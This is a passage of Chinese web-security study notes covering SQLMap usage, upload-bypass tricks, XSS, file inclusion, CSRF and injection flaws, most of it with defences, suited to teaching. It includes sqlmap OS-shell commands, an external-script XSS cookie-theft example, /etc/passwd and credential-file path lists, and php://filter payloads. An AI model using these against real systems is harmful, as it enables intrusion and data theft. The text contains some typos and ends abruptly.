dbms_application_info dbmsutil.sql 注册当前运行的应用的名称(用于性能监控)
dbms_apadm dbmsaqad.sql 与高级队列选项一块儿使用
dbms_ddl dbmsutil.sql 从新编译存储子程序和包,分析数据库对象
dbms_debug dbmspb.sql PL/SQL调试器接口
dbms_deffr dbmsdefr.sql 远程过程调用应用的接口
dems_describe dbmsdesc.sql 说明存储子程序的参数
dbms_job dbmsjob.sql 按指定的时间或间隔执行用户定义的做业
dbms_lock dbmslock.sql 管理数据库块
dbms_output dbmsotpt.sql 将文本行写入内存供之后提取和显示
dbms_pipe dbmspipe.sql 经过内存‘管道’在会话之间发送并接收数据
dbms_profiler dbmspbp.sql 用于配置PL/SQL脚本以鉴别瓶颈问题
dbms_refresh dbmssnap.sql 管理可以被同步刷新的快照组
dbms_session dbmsutil.sql 程序执行alter session(改变会话)语句
dbms_shared_pool dbmspool.sql 查看并管理共享池内容
dbms_snapshot dbmssnap.sql 刷新,管理快照,并删除快照日志
dbms_space dbmsutil.sql 获取段空间信息
dbms_sql dbmssql.sql 执行动态SQL和PL/SQL
dbms_system dbmsutil.sql 开/关给定会话的SQL追踪
dbms_transaction dbmsutil.sql 管理SQL事务
dbms_utility dbmsutil.sql 多种实用工具:对于一个给定的模式,从新编译存储子程序和包、分析数据库对象、格式化错误信息并调用堆栈用于显示、显示实例是否以并行服务器模式运行、以10ms间隔获取当前时间、决定数据库对象的全名、将一个PL/SQL表转换为一个使用逗号分隔的字符串,获取数据库版本/获取数据库版本/操做系统字符串
utl_raw utlraw.sql RAW数据转化为字符串
utl_file utlfile.sql 读/写基于ASCII字符的操做系统文件
utl_http utilhttp.sql 从给定的URL获得HTML格式的主页
dbms_lob dbmslob.sql 管理巨型对象

注入工具

SQLMap

SQLMap是一个开放源码的渗透测试工具,它能够自动检测和利用SQL注入漏洞,基于python编写。

特色:

  • 数据库支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Sybase和SAP MaxDB

  • SQL注入类型包括SQL盲注,UNION注入,显错式注入,时间盲注盲推理注入和堆查询注入等技术

  • 支持枚举用户,密码哈希,权限,角色,数据库,表和列

  • 支持执行任意命令

  • 自动识别密码加密方式,而且能够使用字典解密

  • 支持数据导出功能

    SQLMap参数
    
    1.测试注入点权限
    sqlmap.py -u [URL] -- privileges
    #测试全部用户的权限
    sqlmap.py -u [URL] -- privileges -U sa
    #测试sa用户权限
    
    2.执行shell命令
    sqlmap.py -u [URL] --os0cmd="net user"
    #执行net user命令
    sqlmap。py -u [URL] --os-shell
    #系统交互的shell
    
    3.获取当前数据库名称
    sqlmap.py -u [URL] --current-db
    
    4.执行SQL命令
    sqlmap.py -u [URL] --sql-shell
    #返回SQL交互的shell,能够执行sql语句
    sqlmap.py -u [URL] --sql-query="sql"
    
    5.POST提交方式
    sqlmap.py -u [URL] --data "POST参数"
    
    6.显示详细的等级
    sqlmap.py -u [URL] --dbs -v 1
    -v参数包含如下7个等级:
      0:只显示python的回溯、错误和关键消息
        1:显示信息和警告消息
        2:显示调试消息
        3:有效载荷注入
        4:显示HTTP请求
        5:显示HTTP响应头
        6:显示HTTP响应页面的内容
    
    7.注入HTTP请求
    sqlmap.py -r head.text --dbs
    #head.txt内容为HTTP请求
    
    8.直接链接到数据库
    sqlmap.py -d "mysql://admin:admin&192.168.1.8:3306/tesrdb" --dbs
    
    9.注入等级
    sqlmap.py -u [URL] --level 3
    
    10.将注入语句插入到指定位置
    sqlmap.py -u "http://www.xxser.com/id/2*.html" --dbs
    #SQLMap没法识别哪里是对服务器提交的请求参数,因此SQLMap提供了”*“餐宿,将SQL语句插入到指定位置,这一用法经常使用于伪静态注入
    
    11.使用SQLMap插件
    sqlmap.py -u [URL] -tamper "space2morehash.py"

Pangolin

Pangolin(穿山甲),它可以经过一系列很是简单的操做,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。

穿山甲的特色以下:

  • 全面的数据库支持,包括:Access、DB二、Informix、Microsoft SQL Server2000/2005/200八、MySQL、SqLite三、Oracle、PostgreSQL和Sybase
  • 自动关键字分析可以减小人为操做,且判断结果更准确
  • 预登陆功能,在须要验证的状况下继续注入
  • 支持HTTPS
  • 自定义HTTP标题头功能
  • 丰富的绕过防火墙功能
  • 数据导出功能
  • 测试过程简单,易操做

Havij

Havij是一款自动化的SQL注入工具,能自动挖掘可利用的SQL注入,还可以识别后台数据库类型,检索数据的用户名和密码hash、存储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。

Havij的经常使用模块

  • Info模块展示了服务器的一些信息
  • Tables模块展示了数据库内容信息
  • Read File模块可读取文件
  • Write File模块可向服务器写入文件
  • CMD Shell模块可执行系统命令
  • Query模块可执行SQL语句
  • Find Admin模块可查找管理员管理入口
  • MD5模块可破解MD5,Havij会进行在线查询而不是暴力破解
  • Settings模块是最重要的一个模块,是Havij的配置模块,好比:诸如时间、线程、绕过Waf、预登陆等

防止SQL注入

根据SQL注入的分类,防护主要分为两种:数据类型判断和特殊字符转义

严格的数据类型

防护数字型注入相对比较简单,只要在程序中严格判断数据类型便可。如:使用is_numeric()、ctype_digit()等函数判断数据类型,便可解决数字型注入

特殊字符转义

将特殊字符转义便可防护字符型SQL注入

使用预编译语句

框架技术

在众多的框架中,有一类框架专门与数据库打交道,被称为持久层框架,比较有表明性的有Hibernate、MyBatis、JORM等

存储过程

存储过程是在大型数据库系统中,一组为了完成特定功能或常用的SQL语句集,经编译后存储在数据库中。存储过程具备较高的安全性,能够有效防止SQL注入,但若编写不当,依然有SQL注入的风险

6.上传漏洞

Web应用程序一般会有文件上传的功能,只要web应用程序容许上传文件,就有可能存在文件上传漏洞。

解析漏洞

攻击者在利用上传漏洞时,一般会与web容器的解析漏洞配合在一块儿。常见的web容器有IIS,Nginx,Apache,Tomcat等

IIS解析漏洞

IIS6.0在解析文件时存在如下两个解析漏洞:

1.当创建*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被看成IIS看成asp文件夹解析
2.当文件为*.asp;1.jpg时,IIS6.0一样会以ASP脚原本执行

Apache解析漏洞

在Apache1.x和Apache2.x中存在解析漏洞,但它们与IIS解析漏洞不一样

Apache在解析文件时有一个原则:当碰到不认识的拓展名时,将会从后向前解析,直到碰到认识的拓展名为止,若是不认识,则会暴露其源代码
Apache首先会解析aa拓展名,若是不认识,则会解析xs拓展名,这样一直遍历到认识的拓展名为止,而后再将其进行解析

PHP CGI解析漏洞

Nginx是一款高性能的web服务器,一般用来做为php的解析容器

在php的配置文件中有一个关键的选项:cgi.fi:x_pathinfo。这些选项在某些版本中默认是开启的,在开启访问URL,好比:http://www.xxser.com/x.txt/x.php,  x.php是不存在的文件,因此php将会向前递归解析,因而形成了解析漏洞,能够说此漏洞与Nginx关系并非很大,可是因为Nginx与php配合很容易形成这种解析漏洞,因此php cgi漏洞经常被认为是Nginx解析漏洞

绕过上传漏洞

程序员在开发web应用程序时,通常都会涉及文件上传,好比:上传文档并提供下载,上传图片增长用户体验。文件上传的基本流程相同,客户端使用javascript验证,服务器端采用随机数来重命名文件,来防止文件重复。

程序员在防止上传漏洞时能够分为如下两种:

  • 客户端检测:客户端使用javascript检测,在文件未上传时,就对文件进行验证
  • 服务器端检测:服务端脚本通常会检测文件的MIME类型,检测文件拓展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码
图片一句话是将一句话木马插入在图片文件中,而且不损坏图片文件。能够使用Edjpgcom.exe程序制做图片一句话木马。
在插入一句话木马后,以文本的方式打开图片,就能够看到木马代码

客户端检测

针对客户端验证有很是多的绕过方式

1.使用Firebug
    Firebug是一款开源的浏览器插件,它可让web开发者轻松的调试HTML、Javascript、AJAX、CSS等前端脚本代码。
    当单击‘提交’按钮后,Form表单会触发onsubmit事件,onsubmit时间会调用checkfile函数(检测文件拓展名是否合法),使用Firebug将onsubmit事件删除,这样就能够绕过Javascript函数验证。
    查看HTML源代码,找到Form表单后,把onsubmit事件删除,Javascript验证将会失效

2.中间人攻击
    使用Burp Suite按照正常的流程经过Javascript验证,而后在传输中的HTTP层作手脚。
    首先把没把文件拓展名改成正常图片的拓展名,而后在上传时使用Burp Suite拦截上传数据,再将其中的拓展名改成PHP,就能够绕过客户端验证。
    注意修改完文件拓展名后,要对请求头Content-Length和进行修改,不然会发生上传失败。

服务器端检测

服务器端验证主要包含如下几点:白名单与黑名单拓展名过滤、文件类型检测、文件重命名等操做

白名单与黑名单检测

在上传文件时,大多数程序员会对文件拓展名检测,验证文件拓展名一般有两种方式:白名单与黑名单

1.黑名单过滤方式:
黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的拓展名,服务端在接收文件后,与黑名单拓展名对比,若是发现文件拓展名与黑名单里的拓展名匹配,则认为文件不合法。

绕过黑名单检测的方式:
(1)攻击者能够从黑名单中找到web开发人员忽略的拓展名,如:cer
(2)在Upload.php中并无对接收到的文件拓展名进行大小写转换操做,那就意味着能够上传asp、php这样的拓展名,而此类拓展名在windows平台依然会被web容器解析
(3)在windows系统下,若是文件名以"."或者空格做为结尾,系统会自动去除"."与空格,利用此特性也能够绕过黑名单验证。如:上传"asp."或者"asp "拓展名程序、服务器端接收文件名后在写文件操做时,windows将会自动去除小数点和空格


2.白名单过滤方式
白名单是定义容许上传的拓展名,白名单拥有比黑名单更好的防护机制。白名单也不能彻底防护上传漏洞,例如:web容器为IIS6.0, 攻击者把木马文件名改成pentest.asp;1.jpg上传,此时的文件为JPG格式,从而能够顺利经过验证,而IIS6.0却会把pentest.asp;1.JPG看成ASP脚本程序来执行,最终攻击者能够绕过白名单的检测,而且执行木马程序
MIME验证

MIME类型用来设定某种拓展名文件的打开方式,当具备该拓展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为image/gif,CSS文件MIME类型为text/css。

能够经过使用Burp Suite将在HTTP请求中的Content-Type更改类型,经过程序验证

目录验证

在文件上传时,程序一般容许用户将文件放到指定的目录中,然而有些web开发人员为了让代码更“健壮”,一般会作一个操做,若是指定的目录存在,就将文件写入目录中,不存在则先创建目录,而后写入。

在HTML代码中有一个隐藏标签<input type='hidden' name='extension' value='up'>,这是文件上传时默认的文件夹,而咱们对此参数是可控的,好比:使用Firebug将value值改成pentest.asp,并提交上传一句话图片木马文件。

截断上传攻击

截断上传攻击在ASP程序中最多见。使用Burp Suite拦截请求后,将文件上传名称更改成1.asp xxser.jpg,而后单击HEX选项卡进入十六进制编辑模式,将文件名中空格的十六进制数20改成00,即NULL,单击‘GO’按钮,能够发现最终上传的文件为1.asp, 1.asp后面的字符都已经被截断。截断上传漏洞不只出如今ASP程序上,在PHP、JSP程序中也存在这样的问题。

文本编辑器上传漏洞

常见的文本编辑器有CKEditor,Ewebeditor,UEditor,KindEditor,XHeditor等。这类编辑器的功能是很是相似的,好比都有图片上传,视频上传,远程下载等功能,这类文本编辑器也成为富文本编辑器。

以CKEditor编辑器为例

1.敏感信息暴露
CKEditor目录存在一些敏感文件,若是这些文件不删除,那么攻击者能够快速获得一些敏感信息。
2.黑名单策略错误
黑名单过滤了一些常见的文件拓展名,可是疏忽了asa、cer等未知风险拓展名
3.任意文件上传漏洞

除此以外还存在其余的漏洞,例如,ASP.NET二次上传,创建畸形文件夹等漏洞

修复上传漏洞

在通过分析上传漏洞以后,上传漏洞的最终造成缘由主要有如下两点:

  • 目录过滤不严,攻击者可能创建畸形目录
  • 文件未重命名,攻击者可能利用web容器解析漏洞
1.接收文件及其文件临时路径
2.获取拓展名与白名单作对比,若是没有命令,程序推出
3.对文件进行重命名

7.XSS跨站脚本漏洞

​ XSS攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码通常是使用javascript语言编写的。

​ javascript能够用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就能够盗取用户Cookie、黑掉页面、导航到恶意网站,而攻击者须要作的仅仅是向web页面注入javascript代码。

​ 攻击者能够在<script></script>之间输入javascript代码,实现一些“特殊效果”。在真实的攻击中,攻击者不只仅弹出一个框,一般使用<script src='http://www.secbug.org/x.txt'></script>

方式来加载外部脚本,而在x.txt中就存放着攻击者的恶意javascript代码,这段代码多是用盗取用户的cookie,也多是监控键盘记录等恶意行为。

​ 注:javascript加载外部的代码文件能够是任意拓展名(无拓展名也能够),如:<script src='http://www.secbug.org/x.jpg'></script>,即便文件为图片拓展名x.jpg,但只要其文件中包含,javascript代码就会被执行。

XSS类型

XSS主要被分为三类,分别是:反射型、存储型、和DOM型。

反射型XSS

​ 反射型XSS也被称为非持久性XSS,是如今最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,而后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终形成XSS漏洞。这个过程就像一次反射,故称为反射型XSS。

存储型XSS

​ 存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。

​ 容许用户存储数据的web应用程序均可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,形成XSS跨站攻击,这就是存储型XSS。

​ 存储型XSS与反射型XSS、DOM型XSS对比,具备更高的隐藏性,危害性也更大。它们之间最大的区别在于反射型XSS与DOM型执行都必须依靠用户手动去触发,而存储型XSS却不须要。

DOM XSS

​ DOM的全称为Document Object Model,即文档对象模型,DOM一般用于表明在HTML、XHTML和XML中的对象,使用DOM能够容许程序和脚本动态地访问和更新文档的内容、结构和样式。

​ DOM的规定以下:

  • 整个文档是一个文档节点
  • 每一个HTML标签是一个元素节点
  • 包含在HTML元素中的文本是文本节点
  • 每个HTML属性是一个属性节点
  • 节点与节点之间都有等级关系

基于DOM型的XSS是不须要与服务器端交互的,它只发生在客户端处理数据阶段。

检测XSS

​ 检测XSS通常分为两种方式,一种是手工检测,一种是软件自动检测,各有利弊。

手工检测XSS

​ 使用手工检测web应用程序是否存在XSS漏洞时,最重要的是考虑哪里有输入、输入的数据在什么地方输出。

​ 使用手工检测XSS时,必定要选择有特殊意义的字符,这样能够快速测试是否存在XSS。好比,测试某输入框是否存在XSS漏洞时,不要直接输入XSS跨站语句测试,应一步一步地进行,这样更有利于测试。

1.可得知输出位置
    输入一些敏感字符,例如"<、>、"、()"等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。
    在输出这些敏感字符时,颇有可能程序已经作了过滤,这样在寻找这些字符时就不太容易,这时就能够输入"AAAAA<>'"&"字符串,而后在查找源代码的时候直接查找AAAAA或许比较方便
2.没法得知输出位置
    很是多的web应用程序源代码是不对外公开的,这时在测试XSS时就有可能没法得知输入数据到底在何处显示,好比,测试某留言本是否存在XSS,那么在留言以后,可能须要通过管理员的审核才能显示,这时没法得知输入的数据在后台管理页面处于何种状态。例如:
    在<div>标签中:<div>XSS Test</div>
    在<input>标签中:<input type='text' name='content' value='XSS Test'>
    对于这种状况,一般会采用输入""/>XSS Test"来测试。

全自动检测XSS

​ 专业的XSS扫描工具备不少,XSSER,XSSF等,也有安全爱好者制做了扫描XSS漏洞的web服务,如:http://www.domxssscanner.com/ 专门用来扫描DOM类的XSS。

XSS高级利用

常见危害:

  • 盗取用户Cookie
  • 修改网页内容
  • 网站挂马
  • 利用网站重定向
  • XSS蠕虫

XSS会话劫持

1.Cookie简介
    Cookie是可以让网站服务器把少许文本数据存储到客户端的硬盘,内存,或是从客户端的硬盘、内存读取数据的一种技术。
    Cookie按照在客户端中存储的位置,可分为内存Cookie和硬盘Cookie。
    Cookie也是有限制的。大多数浏览器支持最大为4096B的Cookie,并且浏览器也限制站点能够在用户计算机上存储Cookie的数量,大多数浏览器只容许每一个站点存储20个Cookie。
2.Cookie格式
    当Cookie被保存在电脑硬盘时,不一样的浏览器保存Cookie的位置也不相同,如:IE的Cookie保存位置在“C:\Documents and Settings\用户名\Cookies”文件夹中。每一个Cookie文件都是一个TXT文件,都以“用户名@网站 URL”来命名。
    Cookie由变量名(key)和值(value)组成,其属性里既有标准的cookie变量,也有用户本身建立的变量,属性中的变量用“变量=值”的形式来保存。
3.读写Cookie
    像Javascript、Java、PHP、ASP.NET都拥有读写Cookie的能力。
4.Javascript操做Cookie
    若是网站存在XSS跨站漏洞,那么利用XSS漏洞就有可能盗取用户的Cookie,使用用户的身份标识。
5.SESSION
    SESSION在计算机中,尤为是在网络应用中,被称为“会话”。SESSION机制是一种服务器端的机制,服务器使用一种相似于散列表的结构来保存信息。
    web中的SESSION是指用户在浏览某个网站时,从进入网站到浏览器关闭所通过的这段时间,也就是一次客户端与服务器端的“对话”,被称为SESSION,当浏览器关闭后,SESSION自动注销。
    当用户第一次链接到服务器时,会自动分配一个SESSIONID,这个SESSIONID是惟一的且不会重复的“编号”。若是服务器关闭或者浏览器关闭,SESSION将自动注销,当用户再次链接时,将会从新分配。
    SESSION与Cookie最大的区别在于,Cookie是将数据存储在客户端,而SESSION是保存在服务器端,仅仅是客户端存储一个ID。相对来讲,SESSION比Cookie要安全。

XSS Framework

​ 随着XSS漏洞的兴起,一些XSS漏洞利用框架也随之出现,其中比较优秀的有BeEF、XSS Proxy、Backframe,像国内的XSSER.ME(XSS Platfrom)也是比较优秀的XSS漏洞利用框架。

​ XSS框架是一组“JavaScript工具集合”,好比,键盘输入记录,盗取Cookie,表单击劫持等。

XSS GetShell

​ XSS GetShell的意思就是利用XSS获取webshell。

XSS蠕虫

​ 蠕虫病毒就是具备传染性的恶意软件,XSS蠕虫也具备传染性,与系统病毒的惟一区别就是没法对系统底层操做。由于XSS蠕虫通常是基于javascript编写,而javascript最大的用武之地就是web,但对于底层编程能力几乎为零。因此,通常来讲,XSS蠕虫是针对浏览器的攻击,且网站规模越大,攻击效果就越大。在大用户量的状况下,XSS蠕虫彻底能够在短期内达到对巨大数量的“计算机”感染。

修复XSS跨站漏洞

​ XSS跨站漏洞最终造成的缘由是对输入与输出没有严格过滤,在页面执行javascript等客户端脚本,这就意味着只要将敏感字符过滤,便可修补XSS跨站漏洞。

过滤方法:

1.输入与输出
将特殊字符转义
PHP提供了htmlspecialchars(),这个函数能够把一些预约义的字符转换为HTML实体。
预约义的字符以下:
&:&amp
":&quot
':&#039
<:&lt
>:- &gt

OWASPESAPI工具包是专门用来防护安全漏洞的API,如SQL注入,XSS,CSRF等知名漏洞。目前支持JavaEE,ASP,NET,PHP,Python等语言。
解决办法:
(1)在标签内输出
(2)在属性内输出
(3)在事件中输出
(4)在CSS中输出
(5)在script标签中输出

2.Httponly
Httponly对防护XSS漏洞不起做用,主要目的是为了解决XSS漏洞后续的Cookie劫持攻击。
在身份标识字段使用Httponly能够有效地阻挡XSS会话劫持攻击,但却不可以彻底阻挡XSS攻击。由于XSS攻击的手段太多:模拟用户“正常操做”,盗取用户信息,钓鱼等,仅靠Httponly是不够的,防护的关键仍是要经过过滤输入和输出的。

8.命令执行漏洞

​ 命令执行漏洞是指攻击者能够随意执行系统命令,它不只存在于B/S架构中,也存在于C/S架构中。

OS命令执行漏洞示例

​ 在windows系统下,&&的做用是将两条命令链接起来执行。在linux系统下一样适用。另外&,||,|符号一样也能够做为命令链接符使用。

命令执行模型

​ 命令执行漏洞是直接调用操做系统命令,因此叫作OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操做系统命令。

1.PHP命令执行
PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(),  exec()和passthru()
2.Java命令执行
在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行指定的字符串命令,像JSP,Servlet,Spring,Hibernate等技术通常执行外部程序都会调用此方法。

框架执行漏洞

1.Struts2代码执行漏洞
2.ThinkPHP命令执行漏洞

防范执行漏洞

防范方法:

  • 尽可能不要使用系统执行命令
  • 在进入执行命令/函数以前,变量必定要作好过滤,对敏感字符进行转义
  • 在使用动态函数以前,确保使用的函数是指定的函数之一
  • 对PHP语言来讲,不能彻底控制的危险函数最好不要使用

9.文件包含漏洞

​ 程序开发人员一般会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程通常被称为包含。

​ 程序开发人员一般会将被包含的文件设置为变量,用来进行动态调用,但正是因为这种灵活性,从而致使客户端能够调用一个恶意文件,形成文件包含漏洞。

包含漏洞原理解析

​ 大多数web语言均可以使用文件包含操做,其中PHP语言所提供的文件包含功能太强大,太灵活,因此包含漏洞常常出如今PHP语言中。

PHP包含

PHP中提供了四个文件包含的函数,分别是include(),include_once(),require(),require_once()

require:找不到被包含的文件时会产生致命错误(E_COMPLE_ERROR),并中止错误
include:找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行
require_once:此语句和include()语句相似,惟一区别就是若是该文件中二点代码已经被包含,则不会再次包含
require_once:此语句和require()语句相似,惟一区别是若是该文件中的代码已经被包含,则不会再次包含

PHP文件包含利用
常见的攻击方式:
(1)读取敏感文件
访问URL:http://www.xxser.com/index.php/?page=/etc/passwd,若是目标主机文件存在,而且具备响应的权限,那么就能够读出文件的内容,反之,就会获得一个相似于:open_basedirrestriction in effect的警告。
常见的敏感信息路径:
①windows系统:
C:\boot.ini                                 --查看系统版本
C:windows\system32\inetsrv\MetaBase.xml     --IIS配置文件
C:\windows\repair\sam           --存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini               --Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD  --mysql root
C:\windows\php.ini                          --php配置文件
C:\windows\my.ini                           --Mysql配置文件
...
②UNIX/Linux系统
/etc/passwd                                 
/usr/local/app/apache2/conf/http.conf   --apache2默认配置文件
usr/local/app/apache2/conf/extra/httpd-vhosts.conf  --虚拟网站设置
/usr/local/app/php5/lib/php.ini         --php相关设置
/etc/httpd/conf/httpd.conf              --apache相关配置
/etc/my.cnf                             --Mysql的配置文件
...
(2)远程包含shell
若是目标主机allow_url_fopen选项是激活的,就能够尝试远程包含一句话木马
(3)本地包含配合文件上传
(4)使用PHP封装协议

PHP内置协议
file://                     --访问本地文件系统
http://                     --访问HTTP(s)网址
ftp://                      --访问FTP(s)URLs
php://                      --访问输入/输出流(I/O streams)
zlib://                     --压缩流
data://                     --数据(RFC 2397)
ssh2://                     --Secure Shell2
expect://                   --处理交互式的流
glob://                     --查找匹配的文件路径

①使用封装协议读取PHP文件
使用PHP内置封装协议能够读取PHP文件,例子以下:    http://www.xxser.com/index.php?
page=php://filter/read=conver.base64-encode/resourse=config.php
②写入PHP文件
使用php://input能够执行PHP语句,可是受限于allow_url_include选项,也就是说只有allow_url_include为on时才能够使用。
(5)包含Apache日志文件
    某个PHP文件存在本地包含漏洞致使没法上传文件时,还能够找到Apache路径,利用包含漏洞包含Apache日志文件也能够获取webshell。Apache运行后通常默认生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。
    攻击者利用存在包含漏洞的页面去包含access.log,便可成功执行其中的php代码,攻击者在使用Apache日志文件包含时,首先须要肯定Apache的日志路径,不然即便攻击者将PHP木马写入日志文件,也没法包含。
    Apache的路径是重点,因此安装Apache时,尽可能不要使用默认路径
(6)截断包含
(7)绕过WAF防火墙
文件包含有时还被用来制做后门,躲避web杀毒软件的检测。



JSP包含
JSP包含分两种方式:静态包含和动态包含
1.静态包含:
<%@include file="page.txt"%>为JSP中的静态包含语句,静态包含语句先进行包含,再作处理操做。
JSP语法规定:include指令为静态包含,只容许包含一个已经存在于服务器中的文件,而不能使用变量来控制包含某个静态文件,这就意味使用include指令将不存在文件包含漏洞
2.动态包含
<jsp:iclude page="page.txt"/>为动态包含语句。动态包含语句在运行时,首先会处理被包含页面,而后在包含,并且还能够包含一个动态页面(变量)

安全编写包含

形成包含漏洞的根本缘由是:被包含的页面能够被攻击者所控制,也就是说,攻击者能够为所欲为地去包含某个页面。

方案:

  • 严格判断包含中的参数是否外部可控,由于文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制
  • 路径限制:限制被包含的文件只能在某一文件夹内,必定要禁止目录跳转字符如:"../"
  • 包含文件验证:验证被包含的文件是不是白名单中的一员
  • 尽可能不要使用动态包含,能够在须要包含的页面固定写好,如:include("head.php")。

10.其余漏洞

CSRF

​ CSRF是指跨站请求伪造,也经常被称为“One Click Attack”或者“Session Riding”,一般缩写为CSRF或是XSRF。CSRF与XSS攻击方式彻底不一样,但却更加难以防范,更具危险性,有“苏醒的巨人”称号。

CSRF攻击原理

  • CSRF的攻击创建在浏览器与web服务器的会话中
  • 欺骗用户访问URL
1.CSRF攻击场景(GET)
    CSRF攻击是黑客节注受害者的Cookie骗取服务器的新人,可是黑客并不能获取到Cookie,也看不到Cookie的内容,另外,因为浏览器同源策略的限制,黑客没法从返回的结果中获得任何东西,CSRF所能作的就是给服务器发送请求。

2.CSRF攻击场景(POST)
    对CSRF来讲,POST,GET请求是没有任何区别的,只不过POST请求方式多了一些代码
        
3.浏览器Cookie机制
    Cookie的两种表现形式:一种是本地Cookie,又称为持久性cookie,另外一种则是临时Cookie,又称为Session Cookie。二者的区别在于持久性Cookie是服务器端脚本语言向客户端发送Cookie时制定了失效,也就是Expire字段,并且会存储于本地,当Expire所制定的时效过时后,Cookie将失效。而Session Cookie则没有制定Expire时效,是存储在浏览器内存中的,当浏览器关闭后,Session Cookie也随之消失。

4.检测CSRF漏洞
    检测CSRF攻击主要分为两种,手工检测和半自动检测
(1)手工检测
    CSRF只能经过用户的正规操做进行攻击,实际上就是劫持用户操做。因此在检测前首先须要肯定web应用程序的全部功能,以及肯定哪些操做是敏感的,好比修改密码,转帐,发表留言等功能。
    肯定了敏感性操做后,使用这项“功能”拦截HTTP请求,好比,删除用户操做URL为:“http://www.xxser.com/delUser.action?id=1”,能够猜测,此时的参数项ID应该是用户的惟一标识信息,经过此ID能够删除指定的用户。在肯定参数项的意义后,就能够验证该项功能是否存在CSRF漏洞。
    CSRF漏洞也能够理解为:服务器到底有没有执行POC的请求,若是已执行,则表明存在CSRF漏洞。
    
(2)半自动检测
半自动检测工具:CSRFTester

5.预防跨站请求伪造
(1)二次验证
在调用某些功能时进行二次验证。
(2)Token认证
Token即标志、记号的意思,在IT领域也叫作令牌。相似于验证码,Token是一个不用输入的验证码,当用户登陆web应用程序后,首先服务器端会随机产生一段字符串分配给此用户,而且存储在session中,当用户进入某些页面中,直接传递在用户界面或Coookie中。当用户进行提交表单操做时,这段token代码也会随之被提交。当服务器端接收到数据时,就会判断这段“验证码”是否与session中存储的字符串一致,若是一致则认为是合法的请求,若是不一致,则有多是CSRF攻击。

在使用Token防护CSRF时,详细步骤以下:
(1)每当用户登录后会随机生成一段字符串,而且存储在session中
(2)在敏感操做中加入隐藏标签,value即为session中保存的字符串
(3)提交请求后,服务器端取出session中的字符串与提交的Token对比,若是一致,则认为是正常请求,不然多是CSRF攻击
(4)更新Token值

逻辑错误漏洞

​ 逻辑漏洞只出如今业务流程中(模板功能),也就是说,网站的任何部分都有可能存在着逻辑漏洞。

​ 黑客在挖掘逻辑漏洞时的操做步骤以下:

  • 发现网站所提供的功能模块。好比:修改密码,找回密码等功能

  • 针对具体的功能肯定业务流程,详细划分具体步骤

  • 拦截HTTP/HTTPS请求,分析其参数项的含义

  • 修改参数值,尝试触发逻辑漏洞

  • 返回第二步,对其它功能继续测试

    简单地说,黑客挖掘逻辑漏洞有两个重点,就是业务流程和HTTP/HTTPS请求篡改。

    常见的逻辑漏洞:
    1.绕过受权验证
      受权在网络上的意思是指,对特定资源的读写权限。验证标识你是否真的能够对这些资源进行读写。
      受权问题是指访问了没有受权的资源和信息,也叫作越权。越权又能够发为:水平越权和垂直越权。
    (1)水平越权
      水平越权就是相同级别(权限)的用户或者同一角色的不一样用户之间,能够越权访问,修改或者删除的非法操做,若是出现此类漏洞,那么将可能会形成大批量数据泄露,严重的甚至会形成用户信息被恶意篡改。
    (2)垂直受权
      垂直越权是不一样级别之间或不一样角色之间的越权。
      垂直越权又被分为向上越权与向下越权。
    2.密码找回逻辑漏洞
      为防止用户遗忘密码,大多数网站都提供了找回密码功能。在找回密码时,除了本身的用户密码,若是还能找回其余用户的密码,就存在密码找回漏洞。
      测试密码找回漏洞与其余逻辑漏洞的方法相同,其中必经的两个步骤是:熟悉业务流程(密码找回过程)与对流程中的HTTP请求分析。
    3.支付逻辑漏洞
      在测试支付逻辑漏洞时,也有几个侧重点,就是由用户提交的参数,如:购买数量、商品价格、折扣、运费、商品信息的中转页面、跳转到支付接口等参数。
      常见的逻辑支付漏洞场景:
      ①商品数量为附属
      ②0元购买商品
      ③指定帐户恶意攻击

代码注入

​ 代码注入,OWASP将其定义为在客户端提交的代码在服务器端接收后看成动态代码或嵌入文件处理。

XML注入

XML是可扩展标识语言的简写。XML的设计宗旨是传输数据。XML是各类应用程序之间数据传输中最经常使用的工具。
    XML注入是经过改写XML实现的,此漏洞利用成功的关键点就是闭合XML标签。
    XML注入时的两大要素为:标签闭合和获取XML表结构。
    XML修复是比较简单的事情,只要将预约义字符进行转移便可.
预约义字符:
<       --      &lt
>       --      &gt
&       --      &amp
'       --      &apos
"       --      &quot

XPath注入

XPath即为XML路径语言,XPath基于XML的树状结构,提供在数据结构树中寻找节点的能力,简单地说,XPath就是选取XML节点的一门语言。
    XPath使用路径表达式在XML文档中选取节点。
XPath基础语法:
/       --      从根节点选取
//      --      从匹配选择的当前节点选择文档中的节点
.       --      选取当前节点
..      --      选取当前节点的父节点
@       --      选取属性
*       --      通配符。选择全部的元素,与元素名无关
@*      --      属性通配符,选择全部的属性,与名称无关
:       --      属性通配符,选择全部的属性,与名称无关
()      --      为运算分组,明确设置优先级
[]      --      应用筛选模式
or      --      与
and     --      而且

    对于一些敏感信息,不要使用XML传输,若是须要尽可能使用密文传输
    防护XPath注入最重要的是对预约义字符的转换

JSON注入

